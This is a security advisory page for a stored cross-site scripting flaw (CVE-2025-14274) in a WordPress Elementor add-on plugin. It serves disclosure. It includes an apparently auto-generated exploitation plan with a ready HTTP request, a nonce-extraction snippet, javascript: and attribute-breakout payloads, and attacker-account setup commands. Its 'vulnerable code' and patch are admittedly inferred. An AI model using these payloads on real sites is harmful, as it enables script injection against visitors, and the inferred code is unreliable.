CVE-2025-14274

Unlimited Elements for Elementor <= 2.0.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Border Hero Widget

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
5.4
CVSS Score
5.4
CVSS Score
medium
Severity
2.0.2
Patched in
1d
Time to patch

Description

The Unlimited Elements for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Border Hero widget's Button Link field in versions up to 2.0.1. This is due to insufficient input sanitization and output escaping on user-supplied URLs. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.0.1
PublishedFebruary 2, 2026
Last updatedFebruary 3, 2026

Source Code

WordPress.org SVN
Patched

Patched version not available.

Research Plan
Unverified

# Exploitation Research Plan - CVE-2025-14274 ## 1. Vulnerability Summary The **Unlimited Elements for Elementor** plugin (up to v2.0.1) contains a stored Cross-Site Scripting (XSS) vulnerability in its **Border Hero** widget. The vulnerability exists because the plugin fails to sanitize or escape …

Show full research plan

Exploitation Research Plan - CVE-2025-14274

1. Vulnerability Summary

The Unlimited Elements for Elementor plugin (up to v2.0.1) contains a stored Cross-Site Scripting (XSS) vulnerability in its Border Hero widget. The vulnerability exists because the plugin fails to sanitize or escape the url property of the "Button Link" field. A Contributor-level user can embed a malicious payload (e.g., a javascript: URI) into the widget's settings. When the page is rendered for any visitor, the payload is injected into the href attribute of a button, leading to script execution when the button is clicked or, depending on the template, potentially via attribute breakout.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php (via Elementor's AJAX handler)
  • Action: elementor_ajax
  • Sub-Action: save_builder_data
  • Vulnerable Parameter: url within the settings of the uc_border_hero (inferred) widget type.
  • Authentication: Contributor or higher (any role with edit_posts capability for a specific post/page).
  • Preconditions: The "Unlimited Elements" plugin and "Elementor" must be active. The "Border Hero" widget must be available in the Unlimited Elements library.

3. Code Flow (Inferred)

  1. Input: A user edits a post with Elementor and adds/updates a Border Hero widget.
  2. AJAX Call: Elementor sends a JSON-encoded representation of the page layout to admin-ajax.php with the action elementor_ajax.
  3. Storage: WordPress/Elementor saves this data into the _elementor_data post meta field.
  4. Processing (Unlimited Elements): When the frontend page is requested, Elementor initializes the Unlimited Elements widget.
  5. Rendering: The render() method of the widget class (likely extending unlimited_elements_base_widget) retrieves the settings.
  6. Sink: The template for the Border Hero widget (often a .twig or .php file in the plugin's addons directory) outputs the "Button Link" URL directly into an HTML attribute without using esc_url().

4. Nonce Acquisition Strategy

Elementor requires its own nonces for saving builder data. The wp_create_nonce('elementor_ajax') nonce is typically exposed in the Elementor editor's configuration object.

  1. Step 1: Create a new page as a Contributor: wp post create --post_type=page --post_status=publish --post_title="XSS Test".
  2. Step 2: Navigate to the Elementor editor URL: wp-admin/post.php?post=[POST_ID]&action=elementor.
  3. Step 3: Use browser_eval to extract the required nonce from the elementorConfig object.

Extraction Script:

// Locate the nonce for elementor_ajax
window.elementorConfig?.nonces?.save_builder_data || window.elementorConfig?.nonces?.save_builder

5. Exploitation Strategy

The goal is to send a direct AJAX request to save a malicious widget configuration to a post.

HTTP Request (via http_request tool)

  • Method: POST
  • URL: http://[target]/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
action=elementor_ajax
&_nonce=[EXTRACTED_NONCE]
&actions={
  "save_builder_data": {
    "action": "save_builder_data",
    "data": {
      "status": "publish",
      "elements": [
        {
          "id": "exploit-id-1",
          "elType": "section",
          "elements": [
            {
              "id": "exploit-id-2",
              "elType": "column",
              "elements": [
                {
                  "id": "exploit-id-3",
                  "elType": "widget",
                  "widgetType": "uc_border_hero",
                  "settings": {
                    "button_link": {
                      "url": "javascript:alert(document.domain)",
                      "is_external": "",
                      "nofollow": "",
                      "custom_attributes": ""
                    },
                    "button_text": "Click Me"
                  }
                }
              ]
            }
          ]
        }
      ]
    }
  }
}

6. Test Data Setup

  1. Plugin Installation: Ensure unlimited-elements-for-elementor v2.0.1 is installed and activated.
  2. Widget Activation: In the Unlimited Elements dashboard (wp-admin/admin.php?page=unlimited_elements_addons), ensure the "Border Hero" widget is installed/activated (it may be under the "Hero" category).
  3. User Creation:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password
    
  4. Post Creation:
    wp post create --post_type=page --post_status=publish --post_title="Exploit Page" --post_author=[ATTACKER_ID]
    

7. Expected Results

  • The AJAX response should return {"success":true,"data":{...}}.
  • When navigating to the page frontend (?p=[POST_ID]), the HTML source should contain:
    <a ... href="javascript:alert(document.domain)">Click Me</a>
  • Clicking the button (or it being triggered via other attributes if injected) will execute the JavaScript.

8. Verification Steps

  1. Database Check: Verify the payload is stored in post meta.
    wp post meta get [POST_ID] _elementor_data
    
    Check for the string "url":"javascript:alert(document.domain)".
  2. Frontend Check: Use browser_navigate to the page and check for the presence of the payload in the DOM.

9. Alternative Approaches

  • Attribute Breakout: If javascript: is blocked by a basic filter but esc_attr is still missing, try:
    "url": "https://google.com\" onmouseover=\"alert(document.domain)\" data-x=\""
  • REST API Injection: If the elementor_ajax action is restricted, attempt to update the _elementor_data meta via the REST API if the Contributor has permission to edit their own posts:
    POST /wp-json/wp/v2/pages/[POST_ID] with meta: {"_elementor_data": "..."}.
  • Shortcode Injection: If the widget can be rendered via a shortcode provided by Unlimited Elements, try to inject the payload via shortcode attributes in a standard post body.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Unlimited Elements for Elementor plugin (v2.0.1 and below) is vulnerable to stored Cross-Site Scripting (XSS) because it fails to sanitize or escape the URL in the 'Button Link' field of the Border Hero widget. Authenticated attackers with Contributor-level access can inject malicious 'javascript:' URIs, which execute in the context of the user's browser when the button is clicked on the frontend.

Vulnerable Code

// Inferred from plugin structure and research plan
// File: provider/core/plugins/unlimited_elements/elementor/widgets/uc_border_hero.php or similar widget render logic

public function render() {
    $settings = $this->get_settings_for_display();
    $button_url = $settings['button_link']['url']; // No sanitization or esc_url applied here
    
    // ... (widget HTML generation) ...
    ?>
    <div class="uc-border-hero-button">
        <a href="<?php echo $button_url; ?>" class="uc-button"><?php echo $settings['button_text']; ?></a>
    </div>
    <?php
}

Security Fix

--- a/provider/core/plugins/unlimited_elements/elementor/widgets/uc_border_hero.php
+++ b/provider/core/plugins/unlimited_elements/elementor/widgets/uc_border_hero.php
@@ -...
-    $button_url = $settings['button_link']['url'];
+    $button_url = !empty($settings['button_link']['url']) ? esc_url($settings['button_link']['url']) : '#';
@@ -...
-    <a href="<?php echo $button_url; ?>" class="uc-button">
+    <a href="<?php echo $button_url; ?>" <?php echo $this->get_render_attribute_string('button_link'); ?> class="uc-button">

Exploit Outline

The exploit involves an authenticated attacker with Contributor-level permissions (or higher) performing the following steps: 1. Log in to the WordPress admin panel and create or edit a post/page using the Elementor editor. 2. Add the 'Border Hero' widget (provided by Unlimited Elements) to the layout. 3. Navigate to the widget's settings and locate the 'Button Link' URL property. 4. Input a malicious payload such as `javascript:alert(document.domain)` or `javascript:void(0);/*"onmouseover="alert(1)"*/` into the URL field. 5. Save or update the page via the `elementor_ajax` endpoint (action: `save_builder_data`). The payload is stored in the `_elementor_data` post meta. 6. When any user views the published page and interacts with the widget button (e.g., clicking it or hovering if using attribute breakout), the injected JavaScript executes.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.